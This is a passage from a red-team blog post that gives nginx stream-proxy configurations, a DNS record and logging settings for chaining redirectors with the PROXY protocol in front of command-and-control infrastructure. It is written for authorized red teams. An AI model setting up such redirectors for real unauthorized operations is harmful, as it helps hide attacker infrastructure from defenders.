alt=\"nginx proxy protocol\" loading=\"lazy\" height=\"721\" width=\"317\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n\u003ch3 id=\"steps-to-reproduce\"\u003eSteps To Reproduce\u003c/h3\u003e\n\u003cp\u003eOkay I\u0026rsquo;ve done enough explaining probably, right? You probably just want to see the configs. Let\u0026rsquo;s jump into that. I\u0026rsquo;m going to label the config blocks based on the above diagram. This configuration was tested using \u003ccode\u003enginx version: nginx/1.14.0 (Ubuntu)\u003c/code\u003e as it ships out of the box with \u003ccode\u003eUbuntu 18.04.4 LTS\u003c/code\u003e. \u003cstrong\u003eIt was last tested on 2020-02-15\u003c/strong\u003e.\u003c/p\u003e\n\u003ch4 id=\"examplecom\"\u003eexample.com\u003c/h4\u003e\n\u003cp\u003ePoint your intended DNS record to the IP address of Untrusted Redirector 1. In the example, this is 192.168.0.4.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@ 300 IN A 192.168.0.4\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"untrusted-redirector-1\"\u003eUntrusted Redirector 1\u003c/h4\u003e\n\u003cp\u003eThis is our ingress redirector. The IOC that the blue team will see when malware reaches out to it. We don\u0026rsquo;t want it to have any key material on it and want it to be as easy as possible to respin if needed. All it does is listen on 443 and point to Untrusted Redirector 2.\u003c/p\u003e\n\u003cp\u003eCreate a file called \u003ccode\u003e/etc/nginx/stream_redirect.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estream {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    server {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        listen 443;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        proxy_pass 192.168.0.3:443;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        proxy_protocol on;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThen you can add this line to your \u003ccode\u003e/etc/nginx/nginx.conf\u003c/code\u003e. Ensure that this is \u003cstrong\u003eNOT\u003c/strong\u003e inside any other blocks.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einclude /etc/nginx/stream_redirect.conf\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRestart nginx and then move on to Untrusted Redirector 2. \u003ccode\u003esudo systemctl restart nginx\u003c/code\u003e.\u003c/p\u003e\n\u003ch4 id=\"untrusted-redirector-2\"\u003eUntrusted Redirector 2\u003c/h4\u003e\n\u003cp\u003eThis is our mid point redirector. This is not strictly necessary and you could instead point Untrusted Redirector 1 directly to Trusted Ingress. It can be useful, though, if you want to disassociate the \u003ccode\u003eexample.com\u003c/code\u003e indicator from your actual infrastructure. This is useful if your infrastructure is hosted inside the target environment, which is not uncommon for internal red teams. It keeps all the secrets inside the house.\u003c/p\u003e\n\u003cp\u003eCreate a file called \u003ccode\u003e/etc/nginx/stream_redirect.conf\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estream {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    server {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        listen 443;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        proxy_pass 192.168.0.2:443;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThen you can add \u003ccode\u003einclude /etc/nginx/stream_redirect.conf\u003c/code\u003e to your \u003ccode\u003e/etc/nginx/nginx.conf\u003c/code\u003e just like the previous redirector. Alternatively, instead of using nginx at this layer, you could use a dumber redirector like socat or simpleproxy. This layer does NOT need to be proxy aware, and in fact it likely will not work if you try to use \u003ccode\u003eproxy_protocol on\u003c/code\u003e on any midpoint.\u003c/p\u003e\n\u003cp\u003eRestart nginx and then move on to Trusted Ingress. \u003ccode\u003esudo systemctl restart nginx\u003c/code\u003e.\u003c/p\u003e\n\u003ch4 id=\"trusted-ingress\"\u003eTrusted Ingress\u003c/h4\u003e\n\u003cp\u003eThis is our ingress system where TLS is finally terminated and we\u0026rsquo;re in a trusted environment. The key material for \u003ccode\u003eexample.com\u003c/code\u003e resides on this system, and it\u0026rsquo;s where PROXY will also be terminated.\u003c/p\u003e\n\u003cp\u003eExample \u003ccode\u003e/etc/nginx/sites-enabled/example.com.conf\u003c/code\u003e file:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    server_name example.com;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    location / {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \tproxy_pass 192.168.0.1:8080;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \tproxy_set_header X-Forwarded-For $proxy_protocol_addr;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    listen [::]:443 ssl ipv6only=on proxy_protocol; # managed by Certbot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    listen 443 ssl proxy_protocol; # managed by Certbot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNotice the \u003ccode\u003e$proxy_protocol_addr\u003c/code\u003e variable that we use in \u003ccode\u003eX-Forwarded-For\u003c/code\u003e. This is the originating IP address from the PROXY protocol. You may wish to also log this in the Trusted Ingress nginx logs.\u003c/p\u003e\n\u003cp\u003eExample snippet of \u003ccode\u003e/etc/nginx/nginx.conf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehttp {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#737994;font-style:italic\"\u003e##\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#737994;font-style:italic\"\u003e# Logging Settings\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#737994;font-style:italic\"\u003e##\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    log_format proxy \u003cspan style=\"color:#a6d189\"\u003e\u0026#39;$proxy_protocol_addr - $remote_user [$time_local] \u0026#39;\u003c/span\u003e \u003cspan style=\"color:#a6d189\"\u003e\u0026#39;\u0026#34;$request\u0026#34; $status $body_bytes_sent \u0026#34;$http_referer\u0026#34; \u0026#39;\u003c/span\u003e \u003cspan style=\"color:#a6d189\"\u003e\u0026#39;\u0026#34;$http_user_agent\u0026#34;\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    access_log \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ca9ee6\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#99d1db\"\u003elog\u003c/span\u003e\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003enginx\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003eaccess\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003elog proxy;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    error_log \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ca9ee6\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#99d1db\"\u003elog\u003c/span\u003e\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003enginx\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e/\u003c/span\u003eerror\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003elog;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eYou may also wish to only use the proxy format for the specific site configuration on Trusted Ingress, so you could leave the default \u003ccode\u003eaccess_log\u003c/code\u003e line in \u003ccode\u003e/etc/nginx/nginx.conf\u003c/code\u003e and instead add \u003ccode\u003eaccess_log /var/log/nginx/example.com.access.log proxy;\u003c/code\u003e to the \u003ccode\u003e/etc/nginx/sites-enabled/example.com.conf\u003c/code\u003e server block(s).\u003c/p\u003e\n\u003ch4 id=\"downstream-application\"\u003eDownstream Application\u003c/h4\u003e\n\u003cp\u003eIf you\u0026rsquo;re following this example exactly, then the downstream application needs to be aware of the \u003ccode\u003eX-Forwarded-For\u003c/code\u003e header in order to take advantage of it. You can do \u003ca href=\"https://github.com/0xdade/sephiroth\"\u003eclient IP filtering\u003c/a\u003e at the nginx layer to redirect unwanted IPs to a different place, so it\u0026rsquo;s not \u003cem\u003eentirely\u003c/em\u003e necessary for the downstream application to even care about the IP address.\u003c/p\u003e\n\u003cp\u003eThere\u0026rsquo;s also a way around this restriction so that the downstream application doesn\u0026rsquo;t require any knowledge of the \u003ccode\u003eX-Forwarded-For\u003c/code\u003e header, but it requires an nginx module (ngx_http_realip_module) that doesn\u0026rsquo;t ship with Ubuntu nginx packages. It\u0026rsquo;s also not available as a separate installable module, and I\u0026rsquo;d rather not include a whole section in this blog post about building nginx from source. Perhaps a topic for another post.\u003c/p\u003e\n\u003ch3 id=\"conclusion\"\u003eConclusion\u003c/h3\u003e\n\u003cp\u003eI don\u0026rsquo;t know if there is a different way that red teamers have solved this problem, but this is a neat solution because it doesn\u0026rsquo;t require any middle servers to have key material or be trusted. Technically they have some minor trust to not send the wrong client IP address, but it doesn\u0026rsquo;t introduce any additional problems versus just having the dumb redirector in the middle, since you\u0026rsquo;d only be getting the redirector IP and be unable to make any decisions based on that anyways. So anyways, go forth and PROXY on.\u003c/p\u003e\n\u003cp\u003eAs usual\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n    \n    \n    \n    \n    \n    \n    \n    \n  \u003cpicture\u003e\n  \u003cimg class=\"img\" src=\"/blog/2020/02/red-team-proxy-protocol-nginx/img/hack-the-planet.d5a4b45bda9d2527c9d935ee44c5b3fa.webp\" alt=\"Hack The Planet\" loading=\"lazy\" height=\"205\" width=\"480\" /\u003e\n\u003c/picture\u003e\n\u003c/p\u003e\n"
        }
        ]
}
